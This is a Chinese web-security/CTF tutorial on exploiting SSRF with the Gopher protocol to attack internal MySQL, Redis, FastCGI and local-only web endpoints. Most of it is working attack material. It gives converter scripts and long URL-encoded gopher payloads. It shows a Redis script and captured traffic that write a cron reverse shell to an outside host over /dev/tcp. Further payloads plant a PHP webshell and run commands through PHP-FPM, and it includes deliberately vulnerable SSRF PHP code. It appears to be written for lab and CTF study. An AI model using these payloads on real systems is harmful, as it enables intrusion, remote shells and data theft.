web安全,ctf

SSRF利用 Gopher 协议拓展攻击面

1 概述

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。
不同的点在于**gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流**

简单实例

gopher协议简单应用

gopher://<host>:<port>/<gopher-path>_后接TCP数据流
$ curl gopher://localhost:2222/hello%0agopher
$ nc -lvvp 2222
listening on [any] 2222 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 34116
ello
gopher

通过nc回显可以发现,数据换行了, 然而 hello 只回显了 ello ,也就是说 h “被吃了”, 因此要在传输的数据前家一个无用字符

$ curl gopher://localhost:2222/_hello%0agopher

注:
注意如果在地址栏利用payload时要再进行一次url编码。

http://192.168.91.130/ssrf.php?url=gopher://localhost:2222/_hello%250agopher

下面先看一个利用gopher协议简单例子
此代码用来模拟SSRF,使用curl发起网络请求后返回客户端,请求加载文件

<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>

上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多
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gopher攻击Mysql

MySQL通信协议
MySQL连接方式:

在进行利用SSRF攻击MySQL之前,先了解一下MySQL的通信协议。MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

Unix套接字;
内存共享/命名管道;
TCP/IP套接字;
  • 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
  • TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql–h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。

所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。

  • 当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
  • 当无需密码认证时直接发送TCP/IP数据包即可

所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:连接阶段或者叫认证阶段和命令阶段。在连接阶段包括握手包和认证包,这里主要关注认证数据包。
认证数据包格式:
图片.png
下面我们抓包分析一下mysql请求与响应的过程。
环境:Ubuntu-18.04

# 一个窗口抓包
tcpdump –i lo port 3306 –w mysql.pcay
# 一个窗口操作
mysql –h 127.0.0.1 –u root -p
# 执行了以下语句
use test;
select * from flag;
exit;

打开mysql.pcay分析流量包
用root登陆的MySQL认证数据包

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这里Packet Length为整个数据包的长度,Packet Number为sequence_id随每个数据包递增,从0开始,命令执行阶段遇到命令重新重置为0。这两个Packet为整个MySQL通协议的基础数据包。
select * from flag请求数据包

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请求结果响应包
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构造攻击数据包
通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。
首先我们需要新建一个MySQL用户,并且密码为空,使用root用户登录mysql后执行如下命令即可:

新建用户
CREATE USER 'curl'@'localhost';
GRANT ALL ON *.* TO 'curl'@'localhost';

上面我们新建了一个用户curl,接下来开始抓包分析。

过程和上面一样
第一步开一个窗口抓包:
root@ubuntu17:/#tcpdump–i lo port 3306 –w mysql.pcay
第二步开一个窗口使用TCP/IP模式连接MySQL服务器:
root@ubuntu17:/#mysql–h 127.0.0.1 –u curl
执行语句...

打开数据包后过滤mysql数据包,然后随便选一个mysql数据包邮件追踪流,TCP流,然后过滤出客户端发送到MySQL服务器的数据包,就是发给3306的数据,将显示格式调整为原始数据即可,此时获取的就是整个MySQL客户端连接服务器并且执行命令到退出发送的数据包内容
HEX转储如下,
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保存为原始数据,将数据转化为 url 编码。
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#coding:utf-8

def results(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
    import sys
    s=sys.argv[1]
    print(results(s))

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成功查询到数据库内容
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简单应用

<?php
$url = @$_GET['url'];
if($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $co = curl_exec($ch);
    curl_close($ch);
    echo $co;
}
?>

正常情况下我们是不可能访问内网的,在存在ssrf的情况下我们可以通过gopher协议访问本地读取数据。

注意:如果ssrf的点是get参数,因为处于url中,则需要进行一次url编码,将上述例子再进行一次编码:

payload:
?url=gopher://127.0.0.1:3306/_%25a2%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2563%2575%2572%256c%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2565%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2504%2534%2533%2531%2537%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2537%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%2512%2500%2500%2500%2503%2553%2545%254c%2545%2543%2554%2520%2544%2541%2554%2541%2542%2541%2553%2545%2528%2529%2505%2500%2500%2500%2502%2574%2565%2573%2574%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%250c%2500%2500%2500%2503%2573%2568%256f%2577%2520%2574%2561%2562%256c%2565%2573%2506%2500%2500%2500%2504%2566%256c%2561%2567%2500%2506%2500%2500%2500%2504%2575%2573%2565%2572%2500%2513%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2566%256c%2561%2567%2501%2500%2500%2500%2501

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便达到了mysql未授权访问数据内容的目的。
当然payload生成除了文中方法可以使用gopherus.py及mysql_gopher_attack
这里用gopherus.py

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很多情况下,SSRF是没有回显的。
我们可以通过mysql执行select into outfile,当前用户必须存在file权限,以及导出到--secure-file-priv指定目录下,并且导入目录需要有写权限。

如我们读取下文件内容:
通过load_file()函数将文件内容爆出来
前提条件

  • 当前权限对该文件可读
  • 文件在该服务器上
  • 路径完整
  • 文件大小小于max_allowed_packet
  • 当前数据库用户有FILE权限

secure_file_priv的值为空,可以对任意目录读取如果值为某目录(/tmp/),那么就只能对该目录的文件进行操作
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通过SELECT…INTO OUTFILE写文件
前提条件

  • 目标目录要有可写权限
  • 当前数据库用户要有FILE权限
  • 目标文件不能已存在
  • secure_file_priv的值为空,或已知指定目录
  • 路径完整

访问

http://192.168.198.134/ssrf/ssrf-gopher.php?url=gopher%3a%2f%2f127.0.0.1%3a3306%2f_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2563%2575%2572%256c%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%255b%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%252a%252f%2531%2520%252a%2520%252a%2520%252a%2520%252a%2520%2562%2561%2573%2568%2520%252d%2569%2520%253e%2526%2520%252f%2564%2565%2576%252f%2574%2563%2570%252f%2531%2539%2532%252e%2531%2536%2538%252e%2530%252e%2531%2532%252f%2538%2531%2532%2533%2520%2530%253e%2526%2531%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2574%256d%2570%252f%2573%2568%2565%256c%256c%2522%253b%2501%2500%2500%2500%2501

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ubuntu用户的定时任务在 /var/spool/cron/crontabs/ 目录下,所以这里是不可能反弹的,仅作为写文件的演示,这就看出了secure_file_priv目录的限制,在不限制目录的情况下,我们可以通过php或bash任意写入shell。
还可以通过udf反弹shell直接执行系统命令。不再演示,借鉴下图
执行完一系列导出udf到plugin的命令后,即可直接执行系统命令执行,如下图所示反弹shell:
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原理都是利用SSRF拿Gopher协议发送构造好的TCP/IP数据包攻击mysql

参考:https://paper.seebug.org/510/#06
http://shaobaobaoer.cn/archives/643/gopher-8de8ae-ssrf-mysql-a0e7b6

Gopher攻击内网Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis

常见redis反弹shell的bash脚本

redis-cli -h $1 -p $2 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.0.12/8080 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

flushall:删除所有数据库中的所有key。
-x参数:从标准输入读取一个参数:
在redis的第0个数据库中添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n的字段。这里用的centos,ubuntu用户的定时任务在 /var/spool/cron/crontabs/ 目录下,最后会多出一个n是因为echo重定向最后会自带一个换行符。
dir 数据库备份的文件放置路径
Dbfilename 备份文件的文件名

执行脚本命令:bash shell.sh 127.0.0.1 6379
想获取Redis攻击的TCP数据包,可以使用socat进行端口转发,利用这个脚本攻击自身并抓包得到数据流:转发命令如下:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。
然后执行bash shell.sh 127.0.0.1 4444
捕获到的数据:

[root@localhost yum.repos.d]# socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
> 2019/11/12 17:32:38.075661  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2019/11/12 17:32:38.078921  length=5 from=0 to=4
+OK\r
> 2019/11/12 17:32:38.125327  length=86 from=0 to=85
*3\r
$3\r
set\r
$1\r
1\r
$59\r


*/1 * * * * bash -i >& /dev/tcp/192.168.0.12/8080 0>&1


\r
< 2019/11/12 17:32:38.126302  length=5 from=0 to=4
+OK\r
> 2019/11/12 17:32:38.176645  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/11/12 17:32:38.177693  length=5 from=0 to=4
+OK\r
> 2019/11/12 17:32:38.198131  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/11/12 17:32:38.199579  length=5 from=0 to=4
+OK\r
> 2019/11/12 17:32:38.242719  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/11/12 17:32:38.244480  length=5 from=0 to=4
+OK\r
> 2019/11/12 17:32:38.275115  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/11/12 17:32:38.281519  length=5 from=0 to=4
+OK\r

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转换规则如下:

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将r字符串替换成%0d%0a
  • 空白行替换为%0a

JoyChou师傅的转换脚本

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

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如果要换IP和端口,前面的$59也需要更改,$59表示字符串长度为59个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.0.12/8080 0>&1%0a%0a%0a%0a
本地curl测试,返回OK说明redis命令成功执行
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shell成功写入。
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我们也可以通过一句话方式写入网站目录下,从而执行命令,方法和上面一样
这里不再演示了,直接使用上面用过的gopherus.py

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curl -v 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A'

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成功写入www目录下,访问shell.php
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参考:https://blog.chaitin.cn/gopher-attack-surfaces/
https://damit5.com/2018/05/26/SSRF-%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/#0x04-%E6%94%BB%E5%87%BBRedis

Gopher攻击FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
p神介绍FastCGI的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
利用条件

  • libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

转换为Gopher的EXP
监听一个端口的流量 nc -lvvp 2333 > 1.txt,执行EXP,流量打到2333端口

python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 php文件绝对路径

fpm.py地址https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
url编码

f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到gopher的exp

curl 'gopher://127.0.0.1:9000/_%01%01%97%9C%00%08%00%00%00%01%00%00%00%00%00%00%01%04%97%9C%01%D5%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%15SCRIPT_FILENAME/var/www/html/123.php%0B%15SCRIPT_NAME/var/www/html/123.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%15REQUEST_URI/var/www/html/123.php%01%04%97%9C%00%00%00%00%01%05%97%9C%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%97%9C%00%00%00%00'

转:
https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/
https://blog.chaitin.cn/gopher-attack-surfaces/#h2.3_%E6%94%BB%E5%87%BB-fastcgi

攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的PoC。
简单例题:
题目不给源码
一个只能 127.0.0.1 访问的 eval.php,内容为:

<?php 
class System{
    public $result='post a ctf to system';
    public $system;
    function  __construct($system){
        $this->system=$system;       
    }
    function ad(){
        system($this->system);
    }
    function hint(){
        echo $this->result;
    }
}
$system =@$_POST['ctf'];
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){  
    $a = new System($system);
    $a->ad();
}
else{
    if($system!=null){
        echo '只有本地可以访问!';
    }
    else{
    $a = new System($system);
    $a->hint();
    }
}
?>  
<?php
$ch = curl_init(); // 创建一个新cURL资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 设置URL和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); // 抓取URL并把它传递给浏览器
curl_close($ch); // 关闭cURL资源,并且释放系统资源
?>
<!--hint:eval.php-->

访问可知是传入参数url,源代码提示eval.php,进去传入参数后显示只能本地,猜测ssrf利用去执行命令。
构造post数据包,我们可以抓包去构造
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POST /ssrfme/post/eval.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 13
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1/ssrfme/post/eval.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SL_G_WPT_TO=zh; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1
Connection: close

ctf=type+flag

通过如下脚本

#coding: utf-8
from urllib import quote

#post 数据 通过BP抓包获取
f = open('post.txt')
post = f.read()
s = post.encode('hex')

#也可以抓流量包保存原始数据hex
# s='504f5354202f737372666d652f706f73742f6576616c2e70687020485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2031310d0a43616368652d436f6e74726f6c3a206d61782d6167653d300d0a4f726967696e3a20687474703a2f2f3132372e302e302e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f37382e302e333930342e3937205361666172692f3533372e33360d0a5365632d46657463682d557365723a203f310d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c696d6167652f61706e672c2a2f2a3b713d302e382c6170706c69636174696f6e2f7369676e65642d65786368616e67653b763d62330d0a5365632d46657463682d536974653a2073616d652d6f726967696e0d0a5365632d46657463682d4d6f64653a206e617669676174650d0a526566657265723a20687474703a2f2f3132372e302e302e312f737372666d652f706f73742f6576616c2e7068700d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174652c2062720d0a4163636570742d4c616e67756167653a207a682d434e2c7a683b713d302e390d0a436f6f6b69653a20534c5f475f5750545f544f3d7a683b20534c5f475750545f53686f775f486964655f746d703d313b20534c5f777074476c6f62546970546d703d310d0a0d0a653d747970652b666c6167'

len=len(s)
p=''
for i in range(len)[::2]:
    p+=quote(chr(int(s[i:i+2],16)))
# print(p)

#若url浏览器访问需再编码一次,curl可直接访问
urlp = quote(p)
urlp = 'gopher://127.0.0.1:80/_' + urlp
print(urlp)
poyload: gopher://127.0.0.1:80/_POST%2520/ssrfme/post/eval.php%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%250AContent-Length%253A%252013%250ACache-Control%253A%2520max-age%253D0%250AOrigin%253A%2520http%253A//127.0.0.1%250AUpgrade-Insecure-Requests%253A%25201%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/78.0.3904.97%2520Safari/537.36%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%250AReferer%253A%2520http%253A//127.0.0.1/ssrfme/post/eval.php%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250ACookie%253A%2520SL_G_WPT_TO%253Dzh%253B%2520SL_GWPT_Show_Hide_tmp%253D1%253B%2520SL_wptGlobTipTmp%253D1%250AConnection%253A%2520close%250A%250Actf%253Dtype%252Bflag

在这里插入图片描述
也可curl直接访问
在这里插入图片描述

也可用上面攻击mysql抓流量包的方式,其实和bp抓包一样

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在这里插入图片描述
保存原始数据,就是十六进制,数据包也可以,转一下就行,脚本如下

#coding:utf-8
from urllib import quote

def hex():
    #post 数据 通过BP抓包获取
    f = open('post.txt')
    post = f.read()
    s = post.encode('hex')
    return s
def results(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "gopher://127.0.0.1:80/_%"+"%".join(a)


if __name__=="__main__":

    results = results(hex())
    # print(results)
    # url访问需再次编码
    url = quote(results)
    print(url)
payload:  gopher%3A//127.0.0.1%3A80/_%2550%254f%2553%2554%2520%252f%2573%2573%2572%2566%256d%2565%252f%2570%256f%2573%2574%252f%2565%2576%2561%256c%252e%2570%2568%2570%2520%2548%2554%2554%2550%252f%2531%252e%2531%250a%2548%256f%2573%2574%253a%2520%2531%2532%2537%252e%2530%252e%2530%252e%2531%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2531%2533%250a%2543%2561%2563%2568%2565%252d%2543%256f%256e%2574%2572%256f%256c%253a%2520%256d%2561%2578%252d%2561%2567%2565%253d%2530%250a%254f%2572%2569%2567%2569%256e%253a%2520%2568%2574%2574%2570%253a%252f%252f%2531%2532%2537%252e%2530%252e%2530%252e%2531%250a%2555%2570%2567%2572%2561%2564%2565%252d%2549%256e%2573%2565%2563%2575%2572%2565%252d%2552%2565%2571%2575%2565%2573%2574%2573%253a%2520%2531%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250a%2555%2573%2565%2572%252d%2541%2567%2565%256e%2574%253a%2520%254d%256f%257a%2569%256c%256c%2561%252f%2535%252e%2530%2520%2528%2557%2569%256e%2564%256f%2577%2573%2520%254e%2554%2520%2531%2530%252e%2530%253b%2520%2557%2569%256e%2536%2534%253b%2520%2578%2536%2534%2529%2520%2541%2570%2570%256c%2565%2557%2565%2562%254b%2569%2574%252f%2535%2533%2537%252e%2533%2536%2520%2528%254b%2548%2554%254d%254c%252c%2520%256c%2569%256b%2565%2520%2547%2565%2563%256b%256f%2529%2520%2543%2568%2572%256f%256d%2565%252f%2537%2538%252e%2530%252e%2533%2539%2530%2534%252e%2539%2537%2520%2553%2561%2566%2561%2572%2569%252f%2535%2533%2537%252e%2533%2536%250a%2541%2563%2563%2565%2570%2574%253a%2520%2574%2565%2578%2574%252f%2568%2574%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%2568%2574%256d%256c%252b%2578%256d%256c%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%256d%256c%253b%2571%253d%2530%252e%2539%252c%2569%256d%2561%2567%2565%252f%2577%2565%2562%2570%252c%2569%256d%2561%2567%2565%252f%2561%2570%256e%2567%252c%252a%252f%252a%253b%2571%253d%2530%252e%2538%252c%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2573%2569%2567%256e%2565%2564%252d%2565%2578%2563%2568%2561%256e%2567%2565%253b%2576%253d%2562%2533%250a%2552%2565%2566%2565%2572%2565%2572%253a%2520%2568%2574%2574%2570%253a%252f%252f%2531%2532%2537%252e%2530%252e%2530%252e%2531%252f%2573%2573%2572%2566%256d%2565%252f%2570%256f%2573%2574%252f%2565%2576%2561%256c%252e%2570%2568%2570%250a%2541%2563%2563%2565%2570%2574%252d%2545%256e%2563%256f%2564%2569%256e%2567%253a%2520%2567%257a%2569%2570%252c%2520%2564%2565%2566%256c%2561%2574%2565%250a%2541%2563%2563%2565%2570%2574%252d%254c%2561%256e%2567%2575%2561%2567%2565%253a%2520%257a%2568%252d%2543%254e%252c%257a%2568%253b%2571%253d%2530%252e%2539%250a%2543%256f%256f%256b%2569%2565%253a%2520%2553%254c%255f%2547%255f%2557%2550%2554%255f%2554%254f%253d%257a%2568%253b%2520%2553%254c%255f%2547%2557%2550%2554%255f%2553%2568%256f%2577%255f%2548%2569%2564%2565%255f%2574%256d%2570%253d%2531%253b%2520%2553%254c%255f%2577%2570%2574%2547%256c%256f%2562%2554%2569%2570%2554%256d%2570%253d%2531%250a%2543%256f%256e%256e%2565%2563%2574%2569%256f%256e%253a%2520%2563%256c%256f%2573%2565%250a%250a%2563%2574%2566%253d%2574%2579%2570%2565%252b%2566%256c%2561%2567

url直接访问即可,curl如下
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参考:https://blog.chaitin.cn/gopher-attack-surfaces/#h2.3_%E6%94%BB%E5%87%BB-fastcgi

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